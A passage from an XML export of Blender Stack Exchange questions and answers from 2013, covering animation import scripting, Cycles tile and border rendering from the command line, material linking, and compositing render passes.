csontja[1][aktualis]&#xA;&#xA;            #nem jó: matrix_relativ = matrix_jelenlegi.inverted() - matrix_elozo&#xA;            (te,re,se) = matrix_elozo.decompose()&#xA;            (tj,rj,sj) = matrix_jelenlegi.decompose()&#xA;            rr = re.rotation_difference(rj)&#xA;&#xA;            csont.rotation_quaternion = rr&#xA;            #csont.matrix = csontja[1][aktualis]&#xA;&#xA;            bpy.context.scene.update()                       &#xA;            kulcs = i * 10&#xA;            csont.keyframe_insert('location',frame = kulcs)&#xA;            csont.keyframe_insert('rotation_quaternion',frame = kulcs)&#xA;            csont.keyframe_insert('scale',frame = kulcs)&#xA;            i = i + li&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got an array of data collected, having bone names and the keyframes. The &lt;code&gt;csontvaz_objektumkent&lt;/code&gt; is the armature object. I do all animations in &lt;code&gt;animaciok&lt;/code&gt; and do fake_user so I do not lose it after saving as .blend file. I search for bones in &lt;code&gt;csontjai&lt;/code&gt; and &lt;code&gt;csont&lt;/code&gt; will be used as bone object found. I use several variables like &lt;code&gt;mi&lt;/code&gt;, &lt;code&gt;li&lt;/code&gt; and &lt;code&gt;i&lt;/code&gt; to make sure, that every part is same length. Then I start with just one bone and here I left two variations in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one uses the &lt;code&gt;matrix_elozo&lt;/code&gt; and such: this will try to just use rotation quaternion. Takes the previous and current matrices and tries to have the bone rotated by the difference. The idea here is that I need only rotation, since the translation is just the length of the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second idea (with what I started) is that I just give the &lt;code&gt;.matrix&lt;/code&gt; the value by the keyframe data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of them is working correctly. The best I got so far is like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eU7sZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you guessed that it looks bad, you guessed right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my question would be that how can I do this right, having data from .X file?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2013-09-25T17:04:27.507" Title="How to import animation from directx .x file properly?" Tags="&lt;scripting&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-09-27T07:24:53.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="3079" PostTypeId="1" AcceptedAnswerId="3083" CreationDate="2013-09-25T18:44:00.213" Score="2" ViewCount="2921" Body="&lt;p&gt;Is it possible to hide the domain object for a smoke simulation in an openGL quick render without hiding the smoke?&lt;br&gt;&#xA;The domain can be distracting in preview renders even when rendered as a wireframe.&lt;br&gt;&#xA;Toggling the visibility of the domain hides the smoke as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="9" LastEditDate="2013-09-26T09:23:27.767" LastActivityDate="2013-09-26T09:23:27.767" Title="Hide smoke domain objects in OpenGL quick render" Tags="&lt;opengl&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3080" PostTypeId="2" ParentId="3073" CreationDate="2013-09-25T18:55:30.070" Score="1" Body="&lt;p&gt;I'm not exactly sure of what you are trying to do, but&#xA;you could try this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;select the cube you want to have a different material and press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; Materials+Tex&lt;/em&gt; to unlink that cube's material data.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new material.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Or you could:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the objects which should have their material linked to &lt;em&gt;Object&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the material datablock to &lt;em&gt;Object&lt;/em&gt;, then right click on the drop down and select &lt;em&gt;Copy to selected&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N22sQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-26T00:05:46.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3081" PostTypeId="1" AcceptedAnswerId="3088" CreationDate="2013-09-25T18:59:01.587" Score="10" ViewCount="8162" Body="&lt;p&gt;Menu command File &gt; External Data &gt; Report Missing Files gives output such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Path '/foo/sometexture.jpg' not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I discover which materials use that texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, is there a way to get a list of materials that have missing textures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I'm specifically interested in Cycles materials.&lt;/p&gt;&#xA;" OwnerUserId="1322" LastEditorUserId="1322" LastEditDate="2013-09-26T18:20:20.580" LastActivityDate="2013-09-26T18:20:20.580" Title="How to find which materials use a missing texture?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;texturing&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3082" PostTypeId="1" CreationDate="2013-09-25T19:22:04.230" Score="9" ViewCount="4585" Body="&lt;p&gt;I'd like to write a little piece of code which splits a frame into a few tiles and uses all available devices to render the still image. It seems like the Blender developers are working on such a feature, but this seems to be quite far in the future: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Devices&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Devices&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I render images which are composited into photographs (resolution about 5300 x 3800) I want to use all the resources I have available (CPU &amp;amp; GPU in main workstation, CPU in laptop and CPU in old desktop).&#xA;I have found the documentation for the command line (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&lt;/a&gt;), but it doesn't specify the options I need (tile mode, tile size x and y, number of tiles to render).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1344" LastEditorUserId="241" LastEditDate="2018-11-02T15:20:16.457" LastActivityDate="2018-11-02T15:20:16.457" Title="Specify tile size for Blender Cycles rendering via the command line" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3083" PostTypeId="2" ParentId="3079" CreationDate="2013-09-26T00:41:08.670" Score="3" Body="&lt;p&gt;If your domain's &lt;em&gt;Maximum Draw Type&lt;/em&gt; is set to &lt;em&gt;Wire&lt;/em&gt; (Object Properties &gt; Display panel), you can set the 3D View's display to &lt;em&gt;Only Render&lt;/em&gt; (Properties region [&lt;kbd&gt;N&lt;/kbd&gt;] &gt; Display panel) and the domain should be hidden from view.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-09-26T00:41:08.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3084" PostTypeId="2" ParentId="3074" CreationDate="2013-09-26T00:45:13.150" Score="0" Body="&lt;p&gt;If you're using Cycles you can probably do something tricky, like a math node with greater than, getting in the generated coordinates as an input on one axis; then you could probably UV different textures based on that.&#xA;you'd need an extra math node for each &quot;instance&quot; btw.&lt;/p&gt;&#xA;" OwnerDisplayName="user1265" LastActivityDate="2013-09-26T00:45:13.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3085" PostTypeId="2" ParentId="3082" CreationDate="2013-09-26T01:22:04.807" Score="8" Body="&lt;p&gt;AFAIK, there is no option to set tile sizes directly from the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_5/contents.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;python api&lt;/a&gt; to do this, and execute a python script in blender from the command line. (see &lt;a href=&quot;https://blender.stackexchange.com/questions/1365/how-can-i-run-blender-from-command-line-or-a-python-script-without-opening-a-gui&quot;&gt;this question&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set tile sizes from python, you can use&lt;br&gt;&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_5/bpy.types.RenderSettings.html?highlight=tile#bpy.types.RenderSettings.tile_x&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.render.tile_x&lt;/code&gt;&lt;/a&gt;&#xA;and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_5/bpy.types.RenderSettings.html?highlight=tile#bpy.types.RenderSettings.tile_y&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.render.tile_y&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tile order can be set with &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].cycles.tile_order&lt;/code&gt;.&lt;br&gt;&#xA;This can be set to &lt;code&gt;'CENTER', 'RIGHT_TO_LEFT', 'LEFT_TO_RIGHT', 'TOP_TO_BOTTOM',&lt;/code&gt; or &lt;code&gt;'BOTTOM_TO_TOP'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example script to set the tile size to 32x32 and set the order to &lt;code&gt;Right to Left&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    scene.render.tile_x = 32&#xA;    scene.render.tile_y = 32&#xA;    scene.cycles.tile_order = 'RIGHT_TO_LEFT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it loops through each scene to set these properties globally. (see &lt;a href=&quot;https://blender.stackexchange.com/a/3062/599&quot;&gt;this&lt;/a&gt;)&lt;br&gt;&#xA;You can run this from the command line with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background /path/to/my.blend --python /path/to/script.py --render-anim&#xA;# or the short version:&#xA;blender -b /path/to/my.blend -P /path/to/script.py -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Borders:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;AFAIK, it's not possible to tell blender to only render n amount of tiles, when n is less than the total tiles needed to render the complete image.&#xA;(blender does print a new line to stdout for every tile that is rendered, so you might be able to make some hack to stop blender once n tiles have been rendered, but I don't know if you could save output.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, you might be better off using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output#Dimensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Render Border&lt;/em&gt;&lt;/a&gt;; this will allow you to exactly define what section of the image to render.&lt;br&gt;&#xA;You could then call blender to render repeatedly, using a script to pass different render border dimensions to do your own &quot;tile render&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable border with &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.use_border = True&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The border region is defined by four values between &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt; corresponding to the locations of the four sides of the render border relative to the camera where &lt;code&gt;0&lt;/code&gt; is the left or bottom edge of the camera, and &lt;code&gt;1&lt;/code&gt; is the right or top edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_5/bpy.types.RenderSettings.html?highlight=border_max_x#bpy.types.RenderSettings.border_max_x&quot; rel=&quot;nofollow noreferrer&quot;&gt;min and max xy values for the &lt;em&gt;camera&lt;/em&gt; border&lt;/a&gt; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.border_max_x&#xA;bpy.data.scenes[&quot;Scene&quot;].render.border_min_x&#xA;bpy.data.scenes[&quot;Scene&quot;].render.border_max_y&#xA;bpy.data.scenes[&quot;Scene&quot;].render.border_min_y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also want to enable &lt;em&gt;Crop to border&lt;/em&gt; with &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.use_crop_to_border = True&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to render half of the image vertically, you could run this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;&#xA;    scene.render.use_border = True&#xA;    scene.render.use_crop_to_border = True&#xA;    #this sets the render border to the left half of the camera. &#xA;    #to render the right half, set max_x to 1 and min_x to .5&#xA;    scene.render.border_max_x = .5&#xA;    scene.render.border_min_x = 0&#xA;    scene.render.border_min_y = 0&#xA;    scene.render.border_max_y = 1&#xA;    scene.render.tile_x = 32&#xA;    scene.render.tile_y = 32&#xA;#then render:&#xA;bpy.ops.render.render()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that to set the &lt;em&gt;viewport&lt;/em&gt; border you must use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_5/bpy.ops.view3d.html?highlight=border#bpy.ops.view3d.render_border&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; instead, but you most likely are interested in camera border as viewport border is only relevant for using the realtime rendering feature. (see &lt;a href=&quot;https://blender.stackexchange.com/a/2023/599&quot;&gt;this post&lt;/a&gt; for more info)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Seeds:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This does not answer your question about tiles, but as you mentioned you want to do this for rendering on multiple machines, I thought I would mention this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also combine different Cycles renders by using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Integrator#Scene_Settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;Seed&lt;/a&gt; value. (See &lt;a href=&quot;https://blender.stackexchange.com/a/998/599&quot;&gt;this post&lt;/a&gt; for more info)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also is a good way to remove &lt;a href=&quot;https://blender.stackexchange.com/questions/2275/what-is-the-reason-cycles-creates-incorrectly-colored-firefly-artifact-pixels&quot;&gt;fireflies&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-09-29T21:57:11.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3086" PostTypeId="2" ParentId="3069" CreationDate="2013-09-26T01:27:22.180" Score="4" Body="&lt;p&gt;This feature isn't supported by &lt;code&gt;operator_menu_enum&lt;/code&gt;, the purpose of this is to be a submenu containing options. Not a persistent drop-down selection box, you may be better off to add an &lt;code&gt;update&lt;/code&gt; callback to an enum property, then selecting an option can run some python code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What you wan't can be done, but I think you're looking in the wrong place.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Simple answer:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You could replace the &lt;code&gt;row.operator_menu_enum&lt;/code&gt; line with this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if bpy.props.selectedStuff:&#xA;        label = str(bpy.props.selectedStuff[1])&#xA;    else:&#xA;        label = &quot;Stuff list&quot;&#xA;    row.operator_menu_enum(&quot;stuff_list.menu&quot;, 'stuffList', text=label)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Longer answer:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;it looks like this is not using the API correctly. You can't easily access operator properties from a panel (when the operator isn't running), you're better off to add a property-group to the scene that contains all your tool properties, then have the operators &lt;code&gt;invoke&lt;/code&gt; function initialize from these settings (this is how most Blender operators do this).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Note:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Setting attributes in &lt;code&gt;bpy.props&lt;/code&gt; is bad practice, just store this in the script. (as a class attribute for example)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-26T01:33:41.850" LastActivityDate="2013-09-26T01:33:41.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3088" PostTypeId="2" ParentId="3081" CreationDate="2013-09-26T10:55:01.060" Score="4" Body="&lt;p&gt;For blender internal materials that is easy. Enter the image name into the find field in the outliner header. Matches will be highlighted in green with material and objects easily visible for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gd13l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For node based materials it is a bit more complicated. While the information can be found within the Datablocks view of the Outliner it is fairly well buried and not practical to find for a large project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the easiest way to search multiple cycles materials would be to use an addon called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Material/Online_Material_Library&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online Material Library&lt;/a&gt;(cycles materials only - not blender internal node materials). This addon is currently still considered Beta. While not included with official release builds you should find it included with custom/svn builds from &lt;a href=&quot;http://graphicall.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;graphicall&lt;/a&gt; or can be downloaded from the above link and installed from the preferences addon panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1 - activate the addon (or install from file and activate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KhlVj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2 - Show tools. This will now be available under materials properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wr7wP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3 - Save All materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMQ3u.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This saves all the cycles materials in the current blend file into the folder specified above the Save all materials button. The node information used for each material will be saved into it's own file. This leaves you with a folder full of text files that can easily be searched to find the image filename you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it doesn't appear to have been updated for a while &lt;a href=&quot;http://www.atmind.nl/?p=47&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender-aid&lt;/a&gt; may also be another option.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2013-09-26T12:36:13.023" LastActivityDate="2013-09-26T12:36:13.023" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3089" PostTypeId="1" AcceptedAnswerId="3090" CreationDate="2013-09-26T05:39:04.890" Score="0" ViewCount="913" Body="&lt;p&gt;I am using &lt;a href=&quot;http://en.wikipedia.org/wiki/Blender_%28software%29&quot; rel=&quot;nofollow&quot;&gt;Blender&lt;/a&gt; since I never liked the camera angle in &lt;a href=&quot;https://en.wikipedia.org/wiki/Anim8or&quot; rel=&quot;nofollow&quot;&gt;Anim8or&lt;/a&gt;. I recently picked up Blender and would like to use the wireframe model I had previously made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched for a way to move models from Anim8or to Blender but nothing so far. Is there a workflow for this or something that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="1355" OwnerDisplayName="Bill Flippen" LastEditorUserId="1224" LastEditDate="2013-09-27T18:53:02.327" LastActivityDate="2013-09-27T18:53:02.327" Title="How can I import models from Anim8or into Blender?" Tags="&lt;import&gt;&lt;file-format&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3090" PostTypeId="2" ParentId="3089" CreationDate="2013-09-26T07:55:16.963" Score="3" Body="&lt;p&gt;Transferring data is just a matter of finding a format that both programs can use. Some formats have better support for some features than others (like materials, animations, and armatures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear that Anim8or can export in &lt;a href=&quot;https://en.wikipedia.org/wiki/.3ds&quot; rel=&quot;nofollow&quot;&gt;3DS&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow&quot;&gt;OBJ&lt;/a&gt; - both can be imported into Blender, menu &lt;em&gt;File&lt;/em&gt; -&gt; &lt;em&gt;Import&lt;/em&gt; -&gt; &lt;em&gt;3D Studio (.3ds)&lt;/em&gt; or menu &lt;em&gt;File&lt;/em&gt; -&gt; &lt;em&gt;Import&lt;/em&gt; -&gt; &lt;em&gt;Wavefront (.obj)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both import addons should be enabled in Blender by default, but if they aren't, open the User Preferences and look under addons to enable them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would export in both formats and see which one gives a better result in Blender. I would also expect that the mesh would transfer OK, but then expect to do some manual work to re-make the textures in Blender.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="1224" LastEditDate="2013-09-27T18:52:49.950" LastActivityDate="2013-09-27T18:52:49.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3091" PostTypeId="2" ParentId="3073" CreationDate="2013-09-26T13:04:27.130" Score="1" Body="&lt;p&gt;That is something you can solve with a little bit of python, you can enter this into a text block and click Run Script or just type it straight into the Python Console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It loops through &lt;code&gt;bpy.context.selected_objects&lt;/code&gt; which means you can easily choose which objects you wish to change.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    for matslot in obj.material_slots:&#xA;        # options are 'DATA' or 'OBJECT'&#xA;        matslot.link = 'OBJECT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-09-26T13:04:27.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3092" PostTypeId="1" CreationDate="2013-09-26T15:05:20.580" Score="7" ViewCount="4425" Body="&lt;p&gt;How can I make the light bar, after compositing (applying the blur effect on it), be displayed behind the ball, not in front of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tl3Cz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastEditorUserId="2217" LastEditDate="2014-08-05T18:17:28.863" LastActivityDate="2014-08-05T18:17:28.863" Title="How can I move an object on a separate layer behind another in the compositor?" Tags="&lt;workflow&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3093" PostTypeId="2" ParentId="3092" CreationDate="2013-09-26T16:06:41.450" Score="2" Body="&lt;p&gt;If, you are rendering with &lt;strong&gt;&lt;em&gt;Blender Internal&lt;/em&gt;&lt;/strong&gt;, one way to go about this is to go to the render layers with the ball and the bar and under &lt;em&gt;Layer&lt;/em&gt;, untick &lt;em&gt;Sky&lt;/em&gt; for both. Since this will remove the background from both those layers, just create another &lt;em&gt;RenderLayer&lt;/em&gt; that will just be the sky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zbs4P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you use an &lt;em&gt;Alpha Over&lt;/em&gt; node, you can choose which object appears over which one by switching the inputs. You will then use another &lt;em&gt;Alpha Over&lt;/em&gt; node to get back the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVOIZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles, you can get the same results by making sure that &lt;em&gt;Use Environment&lt;/em&gt; is ticked under &lt;em&gt;Layer&lt;/em&gt; and then ticking &lt;em&gt;Transparent&lt;/em&gt; under &lt;em&gt;Film&lt;/em&gt;, this will affect all render layers however it seems so perhaps you can use an image as the second input for the second &lt;em&gt;Alhpa Over&lt;/em&gt; node, &lt;em&gt;just render out a nice gradient etc and load it back in as an image&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-09-26T18:32:23.210" LastActivityDate="2013-09-26T18:32:23.210" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3094" PostTypeId="2" ParentId="3092" CreationDate="2013-09-26T17:23:33.837" Score="1" Body="&lt;p&gt;Another way to do this would be to render another pass with only the ball, call it mask. Override the material to be pure black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiply the line with this renderpass. Before or after the blur node if you want the glow to overlap the ball slightly, or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note! (if I have time tonite, I will update the screenshot). The background of the mask must of course be white, else it will dim the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup here:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/njLod.png&quot; alt=&quot;Node setup&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-09-27T06:19:52.753" LastActivityDate="2013-09-27T06:19:52.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3095" PostTypeId="1" AcceptedAnswerId="3097" CreationDate="2013-09-26T18:47:22.277" Score="22" ViewCount="7744" Body="&lt;p&gt;I would like to have full control of the shadows in post production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why I would like to have&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A shadow render pass containing only the shadows of my scene&lt;/li&gt;&#xA;&lt;li&gt;A shadowless render pass containing everything else but not the shadows&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know how to accomplish the shadow pass, but the shadowless pass is giving me trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone told me to subtract the shadow from everything else using nodes. But how do you do something like that in practice? I tried if using the math node in different modes like &quot;subtract&quot; would help, but the results were weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to recap my question:&#xA;How can I create a render pass that has no shadows in Blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I should mention that I'm using cycles as the render engine.&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="599" LastEditDate="2013-09-28T02:08:53.223" LastActivityDate="2019-06-17T21:31:53.097" Title="Shadowless render pass" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3097" PostTypeId="2" ParentId="3095" CreationDate="2013-09-26T19:30:12.853" Score="19" Body="&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&lt;p&gt;You can exclude a pass from the &lt;em&gt;Combined&lt;/em&gt; pass by toggling the camera icon next to the appropriate pass in &lt;em&gt;Render Layers &amp;gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tO9tV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&lt;p&gt;The trick with cycles is that there is &lt;em&gt;direct lighting&lt;/em&gt; and &lt;em&gt;indirect lighting&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you only want to filter out shadows, then it's as simple as dividing render by the &lt;em&gt;Shadow&lt;/em&gt; pass with a &lt;em&gt;Mix&lt;/em&gt; node. However, indirect lighting gets in the way of this. If you combine the &lt;em&gt;Indirect&lt;/em&gt; pass with the &lt;em&gt;Shadow&lt;/em&gt; pass, then use that to divide, you will remove &lt;strong&gt;all&lt;/strong&gt; the indirect lighting and shadows. (you end up with a &lt;em&gt;Color&lt;/em&gt; pass that has no shading at all).&lt;/p&gt;&#xA;&lt;p&gt;here are some workarounds:&lt;/p&gt;&#xA;&lt;h2&gt;Renderlayers:&lt;/h2&gt;&#xA;&lt;p&gt;There might be a better way to do this, 